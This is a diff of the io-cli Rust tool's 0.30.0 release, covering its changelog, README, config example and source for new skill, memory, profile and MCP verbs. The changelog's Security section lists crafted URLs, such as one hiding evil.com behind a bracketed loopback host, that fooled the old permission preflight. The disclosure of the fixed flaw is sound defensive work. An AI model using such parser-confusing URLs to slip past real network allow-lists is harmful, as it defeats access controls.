diff --git a/CHANGELOG.md b/CHANGELOG.md index 080aeeb..5e13ac5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,123 @@ All notable changes to this project are documented here. The format follows ## [Unreleased] +## [0.30.0] - 2026-08-30 + +The rest of the verb matrix closes: after this release there is nothing io +manages that you have to open a file to change. + +### Security + +**`io mcp add --url …` could report a URL as permitted that the runtime refuses.** +The preflight carried io-cli's own copy of io-harness's URL normaliser, because +that function was not public. The copy failed open on five shapes — +`https://user@/x`, `https://[]/x`, `https://[::1]:/x`, `https://[/x`, and worst +`https://[::1]evil.com/x`, where the bracket branch took `[::1]` as the host, +dropped `evil.com`, and reported *permitted, `[::1]:443`* for a URL that connects +to `evil.com`. A policy allowing loopback would have looked like it covered it. +io-harness 0.71.0 made `net::target` public and fixed all five; io-cli now calls +it and the copy is deleted. Affects 0.28.0 and 0.29.0. Nothing was ever dialled by +io-cli itself — the report was wrong, not the connection — but a permission check +must only ever fail closed. + +**`{:?}` on a configuration no longer prints your keys.** io-harness up to and +including 0.70.0 printed resolved secrets through a derived `Debug` on `Config`, +`File` and `ProviderSpec`; 0.71.0 replaces the derive on ten types with +hand-written redacting ones. io-cli never formatted those types into a message, so +nothing was leaked from here, but every io-cli before this one shipped against a +version that could. + +### Added + +- **`/skills add ` and `/skills remove`**, with `io skill add|list|remove` + through the same parse. Installing **copies** — the file you named stays yours — + and records nothing, so it lists as yours. A destination that exists is refused + rather than overwritten, and a file whose `name:` is already claimed is refused + even when its filename is free, because two skills answering to one name make + every turn of the next session fail before its first completion. Until now the + only thing that had ever written a skill file was `/import`. +- **`/memory` edits and forgets an instruction note**, by line. Both splice the + file, so your indent, your `*`, a `\r\n` and a last line with no newline all + survive. A note changed underneath you is refused rather than overwritten. A + note that carries a continuation body — which is how `/import` brings another + tool's whole file across — says on its own row how many lines forgetting it will + leave behind. +- **A forgotten agent memory can be put back.** `/memory`'s forget has returned a + restore point since 0.29.0 and printed it in a sentence; nothing could spend it. + Now a confirmation offers it. +- **`/memory` shows what the run recorded** — evictions, pin refusals and recalls. + These emit no event of their own, so this page is their only witness, and it had + always been asked for the empty case. +- **`/profile create|remove|clear`.** Creating refuses a name already taken; + removing takes `[profile.x]` **and every sub-table under it**, so + `[profile.x.run]` cannot be orphaned; clearing goes back to no profile. The list + also now sees profiles declared in any scope rather than only the last file — + switching to one always worked, so the list was wrong rather than narrow. +- **`io mcp enable|disable ` and a toggle row on `/mcp`.** A server can be + switched off without being removed, which is a state io-harness has honoured and + io-cli could only ever read. +- **A switch-off row on `/plugin`**, beside the removal that was previously the + only way to stop a bundle loading. +- **`/mcp probe ` and `io mcp probe `.** Starts a configured server the way + a run would — same policy check, so a refused server is refused here and names + the rule and layer — completes the handshake, lists the tools it offers, and + shuts it down. Disabled, refused, unreachable, timed out and answering are five + sentences, not one. + +### Changed + +- **io-harness `0.70` → `0.71.0`**, which closes six issues this project filed: + #218 (`Effect::ALL`, `ExecMode::ALL`, `Effect::as_str`), #219 (the named step and + retry defaults), #220 (`PriceTable::models`), #221 (`net::target` public and + fixed), #223 (`Plugin::hooks`) and #224 (`Plugins::inspect`). Each closure + retired a copy io-cli had shipped around the gap, so this release deletes about + as much as it adds. +- **A marketplace install no longer writes before it discloses.** 0.29.0 had to + declare a bundle `enabled = false` to make io-harness read it at all; + `Plugins::inspect` reads and fully validates a directory with nothing on disk + naming it. A bundle io-harness would refuse now leaves your configuration file + byte for byte unchanged, and declining leaves nothing behind. +- **Hook rows come from io-harness.** `Plugin::hooks()` replaces io-cli's own + reader of somebody else's manifest, and it sees two shapes that reader could + not — an inline `hook = [{…}]` array and a `[[hook]]` header with a trailing + comment. +- `io plugin add ` from a shell now **installs**, printing the full + disclosure to stderr first. Naming a bundle on that door is the consent; there is + nobody there to ask, and a `--yes` would be a second reading of the word. + +### Fixed + +- **The model picker was empty for a whole legal price-table shape.** `/config` on + a model key scraped the files for a literal `[prices.models]` header, so a table + written as `[prices.models."gpt-4.1"]` — which io-cli itself names as a supported + shape — offered no models at all. It now asks `PriceTable` what it prices. +- **Opening the model picker no longer re-runs your credential commands.** The + fix above re-read the configuration, and reading it resolves `${cmd:}` — which + for a key fetched from a keychain is a Touch-ID prompt raised to draw a menu. + Caught before release. +- **A `[[mcp]]` entry's `enabled` written through `/config` was quoted**, producing + `enabled = "false"`, which io-harness refuses. It failed closed, so nothing was + lost, but the surface offered a key it could not write. +- Twelve source comments cited line numbers inside io-harness versions this project + no longer pins — three of them five pins old. All re-verified against 0.71.0, and + a test now fails on any citation into a version `Cargo.lock` does not name. +- A broken intra-doc link shipped in 0.29.0 (`preflight.rs` linked an item that + release deleted), which means 0.29.0's own record of a clean documentation gate + was wrong. + +### Migration + +An `enabled` key in your configuration cannot be read by an io-cli built against +io-harness 0.69.0, **and the two halves fail in opposite directions**: in a +`[[plugin]]` entry that binary refuses the whole file, loudly; in an `[[mcp]]` +entry it *ignores the key and starts the server anyway*, silently. io-cli says +which, at the moment it writes either. + +A plugin manifest may no longer carry a `${env:}`, `${file:}` or `${cmd:}` +substitution, in any scope — io-harness 0.71.0 refuses all three, where only +`${cmd:}` was refused before. Write the value out literally. A bundle is a third +party's directory, and there is deliberately no opt-out. + ## [0.29.0] - 2026-08-29 A plugin can come from somewhere other than a directory you already had — and you diff --git a/Cargo.lock b/Cargo.lock index 4f80a2e..a3e1368 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1850,7 +1850,7 @@ dependencies = [ [[package]] name = "io-cli" -version = "0.29.0" +version = "0.30.0" dependencies = [ "clap", "crossterm", @@ -1867,9 +1867,9 @@ dependencies = [ [[package]] name = "io-harness" -version = "0.70.0" +version = "0.71.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ed49b9252e588eecd0fb3c19696dcdd35f5ca8ac0cd97ce2be2eef7a70fdb6dc" +checksum = "0b8b8ddbe1020cf14a903d8623cbea4c1e0669344bb443af92f70d2cd0af2e6e" dependencies = [ "base64 0.23.1", "calamine", diff --git a/Cargo.toml b/Cargo.toml index 4b8212d..2c62468 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "io-cli" -version = "0.29.0" +version = "0.30.0" edition = "2021" # io-harness declares 1.95, set by `libsqlite3-sys` calling the std `cfg_select!` # macro from its build script. Nothing here can be lower than what the harness @@ -63,7 +63,7 @@ path = "src/lib.rs" # still correct about what this *renderer* can be handed; it is simply no longer # load-bearing on the build. Turning `barcode` back off is what would restore # it, and `documents` would then have to be spelled out as its other four. -io-harness = { version = "0.70", features = ["media", "browser", "documents"] } +io-harness = { version = "0.71", features = ["media", "browser", "documents"] } # **`tui-textarea` is gone as of 0.18.0, and it is why this pair was frozen.** # The comment that stood here said ratatui stayed at 0.29 and crossterm at 0.28 # because the composer was built out of that widget and the 0.30 line carried diff --git a/README.md b/README.md index 9d2e392..6cdf3c0 100644 --- a/README.md +++ b/README.md @@ -336,6 +336,22 @@ same session — io re-reads the configuration for every turn, so an edit you ma in your own editor counts too, and a file that stops parsing leaves the last good one in force rather than ending the session. +**A line can be changed and taken back, from 0.30.0.** `/memory`, choose an +instruction file, and it lists the bullets in it with their line numbers. Picking +one puts its text in the prompt: edit it there and choose *replace it with what is +in the prompt*, or choose *forget it*. Both splice the file — the indent you used, +the `*` you wrote where io writes `-`, a `\r\n` from a Windows checkout and a last +line with no newline after it all survive, because a rewrite assembled from parsed +lines normalises all four in silence. A note that changed underneath you since the +list was drawn is refused rather than overwritten. + +One case is called out on the row itself: `/import` brings another tool's whole +instructions file across as a *single* bullet with the document beneath it, and +markdown counts all of that as one list item. Forgetting that note removes the +bullet and leaves the document, so the row says how many lines it will leave +behind. Before 0.30.0, `/remember` could add a line and nothing anywhere could +change or remove one. + ### Answered without opening a run **A prompt that is only a question is answered in one completion**, with no steps, @@ -531,7 +547,7 @@ above a row that ranked there for reasons having nothing to do with it. | `/clear` | start a new conversation; this one stays in /resume | | `/resume` | reopen an earlier session and answer whatever its last run is waiting on | | `/fork` | continue from an earlier turn of this conversation | -| `/profile` | switch to a named profile from the configuration, for this session | +| `/profile` | switch to a named profile for this session, or create, remove and clear one | | `/setup` | run the first-run wizard again | | `/exit` | leave | @@ -560,7 +576,7 @@ above a row that ranked there for reasons having nothing to do with it. | `/context` | what is in the model's window, read from the request that carried the turn | | `/expand` | commit the last step's full detail into the scrollback | | `/fleet` | show the children this turn has spawned | -| `/skills` | every skill, shipped or yours: what it is for, whether it is on, and its file | +| `/skills` | every skill, shipped or yours: what it is for, whether it is on, and its file; add and remove one | | `/cost` | commit what this run, this session and this install have spent | | `/stats` | commit how the runs have gone: outcomes, first-try, gates, latency | | `/store` | commit what the run store holds; `rm `, `sweep ` and `compact` change it | @@ -573,8 +589,8 @@ above a row that ranked there for reasons having nothing to do with it. | `/config` | every setting, the value in force and the file that decided it | | `/theme` | change the theme for this session | | `/remember` | remember a line of guidance, in the scope you choose | -| `/memory` | what io remembers: the instruction files, and the agent's own notes | -| `/mcp` | the MCP servers configured, and what this session has seen of each | +| `/memory` | what io remembers: the instruction files and the agent's own notes, each editable | +| `/mcp` | the MCP servers configured, what this session has seen of each, and whether one answers | | `/provider` | the providers configured, in the order a turn tries them | | `/plugin` | the capability bundles declared, the marketplaces they come from, and what failed | | `/gates` | the check a turn must pass before it is done: a command, a file, or a rubric | @@ -590,10 +606,20 @@ the other half now. No row was added above because none was wanted: a verb belon to the surface that already owns the list, and a second row for one screen reads as a second screen — the rule `/usage` follows below. +**0.30.0 closes the rest of it, and adds no command either.** A skill can be put +there and taken away (`/skills add`, `/skills remove`, `io skill …`); an +instruction note can be changed and forgotten (`/memory`); a profile can be +created, removed and cleared (`/profile create|remove|clear`); an MCP server and a +capability bundle can each be switched **off without being removed**, which until +now was the one state you could see and not write; and a configured server can be +started on request to report whether it actually answers. After this release there +is nothing io manages that you have to open a file to change. + Which of them is typed and which is a row is not arbitrary. The verbs `add`, -`edit`, `remove` and `get` on `/mcp`, `add` and `remove` on `/plugin`, and `set` -and `unset` on `/config` are read by the same parse `io mcp`, `io plugin` and -`io config` are, so a line typed in the composer and the same line typed at a +`edit`, `remove`, `get`, `enable`, `disable` and `probe` on `/mcp`, `add` and +`remove` on `/plugin`, `add`, `list` and `remove` on `/skills`, and `set` and +`unset` on `/config` are read by the same parse `io mcp`, `io plugin`, `io skill` +and `io config` are, so a line typed in the composer and the same line typed at a shell produce identical bytes rather than two readings that agree today. A bare `/mcp` or `/plugin` still opens its panel, because a panel is a better answer in a session than a text dump is, and `/config ` @@ -939,12 +965,26 @@ it — the same things you would do to any other markdown file in a directory yo own. There is no registry, no index and no remote source; the five are carried in the binary and written out the first time io has a home to put them in. -**Delete one and it stays deleted.** `rm ~/.io-cli/skills/io-mcp.md` is the way -to be rid of a shipped skill for good: io remembers that it wrote that name, so -it does not put the file back on the next start. A skill added in a *later* -version has no such record, so upgrading still brings you the new ones. If you -only want one out of the way for now, turn it off instead — that is reversible -and `/skills` does it for you. +**Delete one and it stays deleted.** `/skills`, choose it, *remove it for good* +— or `io skill remove io-mcp` from a shell — is the way to be rid of a shipped +skill: io remembers that it wrote that name, so it does not put the file back on +the next start. `rm ~/.io-cli/skills/io-mcp.md` does exactly the same thing, and +always has. A skill added in a *later* version has no such record, so upgrading +still brings you the new ones. If you only want one out of the way for now, turn +it off instead — that is reversible and `/skills` does it for you. + +**And you can put one there.** `/skills add ./my-skill.md`, or `io skill add +./my-skill.md`, copies a skill file of your own into `~/.io-cli/skills` and +lists it as yours from the next turn. It is a **copy**: the file you named stays +where it is and stays yours. Two things are refused rather than done quietly — a +destination that already exists, because a skill is prose somebody wrote and +there is no undo, and a file whose `name:` is already claimed by another skill, +because two names resolving to one skill is the fatal case described below. A +bundle's skill is not yours to add or remove, and says so. + +Until 0.30.0 the only thing that had ever written into that directory was +`/import`, following a tool io happened to detect. If you had written a skill +yourself, there was no door. **Each of them ends in a change you see before it lands.** A skill instructs the model in what io can already do and which surface does it, so what comes back is @@ -1110,16 +1150,20 @@ string unchanged rather than a prettier short form, because it is what a refusal will name, what a tool call will name, and what you will type to spawn the agent. A shorter name here would be a third spelling of the same thing. -**Hooks are the one contribution io cannot itemise, and the row says so.** -io-harness applies a bundle's hooks and keeps its `Hook` type private, so there -is no API by which this program can count them or say what any of them runs. -`/plugin` therefore draws a row saying the bundle contributed hooks and that io -cannot say what they do. The alternative was to leave the row out, which reads as -a bundle with no hooks — the one reading that is false, on the contribution kind -that runs programs. **The one place io does name them is a marketplace install**, -below, where it reads them out of the manifest itself — because that is the one -moment you are being asked to accept a directory you have not read. Reported -upstream as io-harness#223; the reading goes when the accessor arrives. +**Hooks are named, everywhere, from 0.30.0.** Each one gets a row: the event it +fires on, or the tool call it sits in front of, and the command it runs. This is +the contribution kind that runs programs, so it is the one you most need itemised +and it was the one io could not itemise: io-harness kept its `Hook` type private, +so through 0.29.0 `/plugin` drew a row saying the bundle contributed hooks and +that io could not say what they do, and only a marketplace install named them — +by reading the manifest itself, which is a second opinion about somebody else's +file. + +io-harness 0.71.0 closed that (io-harness#223, reported by this project). Both +surfaces now read `Plugin::hooks()`, so what you are shown is what the harness +parsed rather than what io-cli made of the same bytes — and it sees two shapes +the hand-written reader could not: an inline `hook = [{…}]` array, and a +`[[hook]]` header with a comment after it. ## Marketplaces @@ -1932,12 +1976,21 @@ anything. ### Managing the configuration without a session -`io mcp`, `io plugin` and `io config` are new in 0.28.0 and do from a shell what -`/mcp`, `/plugin` and `/config` do inside a session. They open no session, start -no run and touch no store — a configuration listing that had to build a task -contract before it could print is a listing nobody can put in a script — and they -are answered before the terminal check, so `io config list` works in CI where an -interactive session is refused for having no terminal. +`io mcp`, `io plugin` and `io config` are new in 0.28.0, `io skill` joins them in +0.30.0, and they do from a shell what `/mcp`, `/plugin`, `/config` and `/skills` +do inside a session. They open no session, start no run and touch no store — a +configuration listing that had to build a task contract before it could print is a +listing nobody can put in a script — and they are answered before the terminal +check, so `io config list` works in CI where an interactive session is refused for +having no terminal. + +`io mcp probe` is the exception to "start no run", and deliberately: it is the one +verb here that finds out rather than reports. It starts the server the way a run +would — under the same policy check, so a server your policy refuses is refused +here too, naming the rule and the layer — completes the MCP handshake, asks what +tools it offers, and shuts it down again. Disabled, refused, unreachable, timed +out and answering are five different sentences rather than one, because the thing +you want to know when a server is not working is *which* of those it is. ```sh io mcp add semlith -- semlith --store /path/to/.semlith mcp @@ -1946,8 +1999,15 @@ io mcp add --transport http linear-server https://mcp.linear.app/mcp io mcp list io mcp get semlith io mcp edit semlith --timeout-secs 30 +io mcp disable semlith # still configured, not started +io mcp enable semlith +io mcp probe semlith # start it and ask what it offers io mcp remove semlith +io skill add ./my-skill.md +io skill list +io skill remove my-skill + io plugin add ./bundles/rust-review io plugin add ultraship # or a name from a marketplace io plugin install ultraship # the same verb diff --git a/docs/config.example.toml b/docs/config.example.toml index f6f8cd4..26b412f 100644 --- a/docs/config.example.toml +++ b/docs/config.example.toml @@ -239,6 +239,27 @@ net = "deny" # id = "issues" # transport = "http" # url = "https://mcp.example.com/v1" +# +# `enabled` (io-harness 0.70.0, absent means true) declares a server WITHOUT +# starting it. io-harness skips it at connect, so no process is spawned and no +# socket is dialled, and every other key of the entry is kept — which is what +# makes this different from removing it. +# +# WRITING THIS KEY COSTS AN OLDER BINARY SOMETHING, AND IT IS THE QUIET KIND. +# An io-cli built against io-harness 0.69.0 does not refuse an `[[mcp]]` entry +# carrying `enabled` — it IGNORES the key and starts the server anyway. The +# `[[plugin]]` version of the same key fails the other way, refusing the whole +# file; that one announces itself and this one does not. +# +# From 0.30.0 `/mcp` has a toggle row and `io mcp enable|disable ` writes the +# same bytes, so this is not a key you have to type. `io mcp probe ` starts a +# configured server on request and reports what it offers. +# +# [[mcp]] +# id = "staging" +# transport = "stdio" +# command = "staging-mcp" +# enabled = false # --- The agent roster (0.25.0) ---------------------------------------------- # diff --git a/src/app.rs b/src/app.rs index df3637a..4107635 100644 --- a/src/app.rs +++ b/src/app.rs @@ -2340,7 +2340,15 @@ pub fn server_value(key: &str, typed: &str) -> String { let typed = typed.trim(); match key { "args" => crate::edit::array(&typed.split_whitespace().collect::>()), - "timeout_secs" | "env" | "headers" => typed.to_string(), + // `enabled` joins these in 0.30.0 because `servers::KEYS` admitted it, and + // `KEYS` is what the "change one setting" picker offers. It is a TOML + // boolean: quoting it writes `enabled = "false"`, which io-harness refuses, + // so `configure::write`'s read-back rolls the whole edit off and the + // operator is told their toggle is broken. It fails closed, which is why + // nothing was lost — but a surface that advertises a key it cannot write is + // the 0.19.0 advertised-but-inert trap, and this is the one line between + // them. + "timeout_secs" | "enabled" | "env" | "headers" => typed.to_string(), _ => crate::servers::quoted(typed), } } diff --git a/src/commands.rs b/src/commands.rs index d72baee..9209570 100644 --- a/src/commands.rs +++ b/src/commands.rs @@ -194,7 +194,7 @@ pub const COMMANDS: &[(&str, &str)] = &[ ), ( "/memory", - "what io remembers: the instruction files, and the agent's own notes", + "what io remembers: the instruction files and the agent's own notes, each editable", ), // Beside `/memory` because the two answer the halves of one question: that // one says what io was *told*, this one says what it was *taught*. A skill is @@ -204,11 +204,11 @@ pub const COMMANDS: &[(&str, &str)] = &[ // that read one. ( "/skills", - "every skill, shipped or yours: what it is for, whether it is on, and its file", + "every skill, shipped or yours: what it is for, whether it is on, and its file; add and remove one", ), ( "/mcp", - "the MCP servers configured, and what this session has seen of each", + "the MCP servers configured, what this session has seen of each, and whether one answers", ), ( "/provider", @@ -238,7 +238,7 @@ pub const COMMANDS: &[(&str, &str)] = &[ ), ( "/profile", - "switch to a named profile from the configuration, for this session", + "switch to a named profile for this session, or create, remove and clear one", ), ( "/effort", @@ -1212,8 +1212,14 @@ pub enum Action { Skills, /// Show the provider chain, in the order a turn tries it. Provider, - /// List the named profiles, and switch to one for this session. - Profile, + /// List the named profiles and switch to one for this session — and, since + /// 0.30.0, create one, remove one, or clear the switch. + /// + /// Bare `/profile` is the picker, which is where an operator who does not yet + /// know what their profiles are called goes. The verbs exist because the + /// picker cannot carry a name the operator is inventing: a value only they can + /// author is typed, and the surface states the shape and prefills the composer. + Profile(ProfileVerb), /// Say how much reasoning the next turn should buy, or report what is in force. /// /// The word is spelled the way `/contain on` is: an argument on the existing @@ -1222,13 +1228,14 @@ pub enum Action { /// List the capability bundles a `[[plugin]]` entry declared: what each one /// contributed, and what each dropped bundle failed on. /// - /// **What can honestly be shown is bounded by what io-harness makes public, - /// and the surface says so rather than implying more.** A bundle's agents, - /// MCP servers and policy layers are all readable and are listed by the names - /// io-harness namespaced them to. Its **hooks are not**: there is no - /// `Plugin::hooks()` and `Hook` is `pub(crate)`, so the word `hooks` from - /// `Plugin::contributions()` is the entire signal available — the bundle - /// declared some, and io-cli cannot say how many or what they run. + /// **Every fact shown is io-harness's own, and since 0.71.0 that includes the + /// hooks.** A bundle's agents, MCP servers and policy layers are listed by the + /// names io-harness namespaced them to, and its hooks — the contribution kind + /// that runs programs — are listed one row each, naming the event and the + /// argv, off `Plugin::hooks()` and `Hook`'s accessors. Through 0.29.0 there + /// was no such accessor and this pane could only draw the word `hooks` from + /// `Plugin::contributions()`, which told an operator that a bundle spawned + /// something and nothing about what. /// /// A dropped bundle carries io-harness's own sentence, re-worded by nobody. /// That matters most for the one an operator will actually hit: a bundle @@ -1391,7 +1398,7 @@ pub const READ_MARK: &str = "+"; /// The case this page exists for. A file that is there and is not read looks, /// from everywhere else in this product, exactly like one that is read: nothing /// warns, and a missing or skipped instruction file is passed over in silence -/// (`io-harness-0.69.0/src/config.rs:1886`, `:1892`). +/// (`read_instructions`, `io-harness-0.71.0/src/config.rs:2111`). pub const UNREAD_MARK: &str = "-"; /// What one row of the memory page stands for. @@ -1607,7 +1614,8 @@ pub fn memory_notes(view: &crate::recall::View, glyphs: &crate::glyphs::Glyphs) /// writing: a file that exists and is not read. It names what would make it /// read rather than only reporting the fact, because `[instructions] files` /// **replaces** the default list rather than adding to it -/// (`io-harness-0.69.0/src/config.rs:1879-1882`) and there is nothing on any +/// (`DEFAULT_INSTRUCTIONS`, `io-harness-0.71.0/src/config.rs:159`, read at +/// `:2120`) and there is nothing on any /// other surface to pull on. pub fn instruction_said( file: &crate::memory::Instruction, @@ -1811,6 +1819,104 @@ pub fn forgotten_said( } } +/// What putting a withdrawn memory back actually put back. +/// +/// **An empty answer is a refusal and never a success.** [`crate::recall::unforget`] +/// returns the keys the rewind genuinely restored, and reporting "restored" over an +/// empty slice is the same lie [`forgotten_said`]'s own refusal arm exists to +/// prevent — the operator would be told the note is back and find it gone. +pub fn unforgotten_said(key: &str, restored: &[String]) -> (Tone, String) { + if restored.is_empty() { + return ( + Tone::Refused, + format!( + "{key} was not put back: that restore point no longer holds it, and nothing \ + was changed" + ), + ); + } + ( + Tone::Success, + format!( + "{key} is back, with {} entr{} restored from that run", + restored.len(), + if restored.len() == 1 { "y" } else { "ies" }, + ), + ) +} + +/// What the store recorded about memory during one run. +/// +/// The three io-harness announces nowhere else — an eviction, a pin refusal and a +/// recall ([`crate::recall::Happened`]) — which is why they are read from +/// `Store::context_events` and never from the observer stream: **none of the three +/// emits an `EventKind` at all**, so this page is their only witness. +/// +/// Committed rather than said, like [`memory_notes`] beside it: they are facts +/// about a run that outlive the keystroke, and the footer's one row would show only +/// the last of them. +/// +/// Empty when the session has not run a turn — nothing has had the chance to +/// happen, which is not the same as nothing having happened. +pub fn trace_notes(view: &crate::recall::View, glyphs: &crate::glyphs::Glyphs) -> Vec { + view.trace + .iter() + .map(|note| match ¬e.detail { + Some(detail) => format!( + "step {} {} {}{}{detail}", + note.step, + glyphs.dash, + note.happened.label(), + glyphs.separator, + ), + None => format!( + "step {} {} {}", + note.step, + glyphs.dash, + note.happened.label() + ), + }) + .collect() +} + +/// The rows for one instruction file's notes. +/// +/// The note's own text is the label, because content comes before metadata on +/// every line in this product, and the line number rides the detail column. +/// +/// **A note carrying a continuation body says so, and that is not decoration.** +/// [`crate::import`] writes a foreign tool's entire instructions file as one +/// bullet plus the document beneath it, so `forget` on that note removes the +/// bullet and orphans the document — still read into every prompt, no longer +/// inside any list item. An operator offered "forget this" over a row that will +/// remove one line of four hundred is being offered a verb that does a fraction of +/// what it looks like it does. +pub fn note_rows( + notes: &[crate::memory::Note], + glyphs: &crate::glyphs::Glyphs, +) -> Vec { + notes + .iter() + .map(|note| { + let carried = note.carries(); + crate::picker::Row::with_detail( + note.text.clone(), + if carried == 0 { + format!("line {}", note.numbered()) + } else { + format!( + "line {} {} carries {carried} more line{} that forgetting it will leave \ + behind", + note.numbered(), + glyphs.dash, + if carried == 1 { "" } else { "s" }, + ) + }, + ) + }) + .collect() +} + /// The key table as this session actually behaves. /// /// **`/help` renders this, never [`KEYS`] directly, and that is the whole point @@ -1875,6 +1981,50 @@ pub fn rows(keys: &Keys, newline: Newline) -> Vec<(String, String)> { /// when it attached. It is here rather than inside [`help`] or [`rows`] so that /// everything downstream of it is a pure function of the value, which is the /// property `tests/keyboard.rs` drives both ways. +/// What `/profile` was asked to do. +/// +/// A closed set, refused by name rather than guessed at. `/profile fast` is +/// **not** a switch to `fast`: a bare word here would make a profile called +/// `clear` unswitchable and a typo into a silent no-op, and the picker already +/// answers "switch to one of these" better than typing does. The same reasoning +/// `/effort` gives for refusing `hgih` instead of choosing the nearest level. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum ProfileVerb { + /// Bare `/profile` — the picker over the declared names. + List, + /// `/profile create `. The name is everything after the verb, trimmed, + /// so a profile may be called `slow ci` without quoting. + Create(String), + /// `/profile remove `. + Remove(String), + /// `/profile clear` — back to no profile, writing nothing. + Clear, + /// A word that is none of the above, carried so the refusal can name it. + Unknown(String), +} + +/// The verb on a `/profile` line, and the name it names. +fn profile_verb(input: &str) -> ProfileVerb { + let mut words = input.split_whitespace(); + // The command itself. + let _ = words.next(); + let Some(verb) = words.next() else { + return ProfileVerb::List; + }; + let name = words.collect::>().join(" "); + match verb.to_ascii_lowercase().as_str() { + // Lowercased first, for the reason `/effort` records: matching literally + // made one spelling of a word work and another fall through silently. + "clear" | "none" | "off" => ProfileVerb::Clear, + "create" | "new" => ProfileVerb::Create(name), + "remove" | "delete" => ProfileVerb::Remove(name), + // **`verb` and not the lowercased match subject.** The refusal quotes this + // back, and quoting `fast` at somebody who typed `Fast` sends them looking + // for a word they did not write. + _ => ProfileVerb::Unknown(verb.to_string()), + } +} + pub fn parse(input: &str, keys: &Keys, theme: &Theme) -> Action { match input.split_whitespace().next().unwrap_or("help") { "help" | "?" => Action::Print(help(keys, theme, Newline::here())), @@ -1938,15 +2088,32 @@ pub fn parse(input: &str, keys: &Keys, theme: &Theme) -> Action { "mcp" | "servers" if matches!( input.split_whitespace().nth(1), - Some("add" | "edit" | "remove" | "get") + Some("add" | "edit" | "remove" | "get" | "enable" | "disable" | "probe") ) => { Action::Manage(input.to_string()) } "mcp" | "servers" => Action::Mcp, - "skills" => Action::Skills, + // **A verb after the word goes to the one parse both doors share**, the + // same shape `/mcp` and `/plugin` take. Bare `/skills` is still the panel, + // which is where an operator who does not yet know what they have goes; + // `/skills add ` is for the second time, for a line pasted out of a + // README, and for the operator who already knows the answer. + "skills" | "skill" + if matches!( + input.split_whitespace().nth(1), + Some("add" | "list" | "remove") + ) => + { + Action::Manage(input.to_string()) + } + // Both spellings open the panel, matching `/mcp` and `/servers`. Admitting + // `skill` only when it carries a verb would make `/skill add x` work and + // `/skill` fall through to the unknown-command path, which is a worse + // answer than either. + "skills" | "skill" => Action::Skills, "provider" | "providers" => Action::Provider, - "profile" | "profiles" => Action::Profile, + "profile" | "profiles" => Action::Profile(profile_verb(input)), // `Effort` carries `FromStr`, so the three levels are spelled io-harness's // way rather than this crate's — a second spelling of `low` would be a // second vocabulary for one wire field. "off" is handled beside it because diff --git a/src/configure.rs b/src/configure.rs index fe95d58..73a6247 100644 --- a/src/configure.rs +++ b/src/configure.rs @@ -248,71 +248,64 @@ pub enum Kind { Machine, } -/// The `Effect` variants, spelled as the file spells them. -/// -/// **This is a build-breaking census and it can be, because `Effect` is not -/// `#[non_exhaustive]`** (`io-harness-0.69.0/src/policy.rs:91-97`). The array -/// names every variant and the `match` covers every variant, so a variant *added* -/// by a later io-harness fails the match and a variant *removed* fails the array. -/// Either way this crate stops compiling rather than shipping a menu that quietly -/// omits an option — and an option that was never offered is one an operator -/// cannot detect, which is why that guarantee is worth a function. -/// -/// **The one thing it does not catch** is a rename: the strings are serde's -/// `rename_all = "snake_case"` of the variant names, and io-harness exposes no -/// `as_str` for `Effect` the way it does for [`exec_modes`], so io-cli has to -/// spell them. A dependency that renamed `Allow` to `Permit` would leave this -/// compiling and writing a word the schema rejects. `tests/configure.rs` closes -/// that by round-tripping each string through io-harness's own deserializer. +/// The `Effect` variants, spelled by io-harness itself. +/// +/// **Both halves are the dependency's since io-harness 0.71.0, and neither is +/// written here any more**: the list is `Effect::ALL` +/// (`io-harness-0.71.0/src/policy.rs:127`) and each spelling is `Effect::as_str` +/// (`:143`), which is the word io-harness's own deserializer reads. +/// +/// Until this release io-cli held a copy of both — an array naming three variants +/// and a `match` mapping them to three string literals — and the copy was the +/// defect. The array was a build-breaking census, so a variant *added* or +/// *removed* upstream stopped this crate compiling; but the literals were io-cli's +/// transcription of serde's `rename_all = "snake_case"`, so a *rename* upstream +/// left it compiling and writing a word the schema rejects. Taking the string from +/// the variant closes the one hole the census could not. +/// +/// `Effect` is not `#[non_exhaustive]` (`policy.rs:90-92`), so `ALL` is a census +/// io-harness itself keeps complete rather than a list that can quietly fall +/// behind, and there is no wildcard on this side to swallow a fourth effect. +/// `tests/configure.rs` still round-trips every string through io-harness's own +/// deserializer, because `as_str` and `Deserialize` are two impls and only the +/// round trip proves they agree. #[must_use] pub fn effects() -> Vec { - [ - io_harness::Effect::Allow, - io_harness::Effect::Ask, - io_harness::Effect::Deny, - ] - .iter() - .map(|effect| { - match effect { - io_harness::Effect::Allow => "allow", - io_harness::Effect::Ask => "ask", - io_harness::Effect::Deny => "deny", - } - .to_string() - }) - .collect() + io_harness::Effect::ALL + .iter() + .map(|effect| effect.as_str().to_string()) + .collect() } /// The `ExecMode` variants, spelled by io-harness itself. /// -/// **A weaker guarantee than [`effects`]'s, and the difference is the -/// dependency's and not a choice made here.** `ExecMode` *is* `#[non_exhaustive]` -/// (`io-harness-0.69.0/src/sandbox.rs:379`), so rustc requires a wildcard arm on -/// any match over it and a variant added by a later io-harness would fall into -/// that wildcard silently — compiling green while the menu omits the new mode. -/// Only a *removal* breaks the build here. -/// -/// So what is asserted is what is obtainable: the spelling of every variant comes -/// from `ExecMode::as_str` (`sandbox.rs:400`) rather than from io-cli, so a rename -/// cannot slip through; and [`exec_mode_label`] reports an unknown mode rather -/// than dropping it. An issue asking io-harness for variant enumeration on both -/// enums is filed with this release — `strum` is not an answer, being forbidden by -/// io-harness's own NF2 and by this crate's no-new-dependency constraint. +/// **The list is `ExecMode::ALL` (`io-harness-0.71.0/src/sandbox.rs:424`) and the +/// spellings are `ExecMode::as_str` (`:431`).** io-cli wrote the variant list out +/// by hand until this release for a reason that was the dependency's and not a +/// choice made here: `ExecMode` is `#[non_exhaustive]` (`sandbox.rs:378-381`), and +/// a caller outside the defining crate cannot enumerate such an enum without a +/// wildcard arm that silently swallows the next variant. The issue this crate +/// filed asking for the enumeration is io-harness#218, and 0.71.0 answers it — +/// `ALL` is kept complete by an in-crate exhaustive `match` that stops io-harness +/// compiling when a mode is added, which is a guarantee nothing on this side could +/// have provided. `strum` was never an answer, being forbidden by io-harness's own +/// NF2 and by this crate's no-new-dependency constraint. +/// +/// `ExecMode` is still `#[non_exhaustive]`, so a *match* over 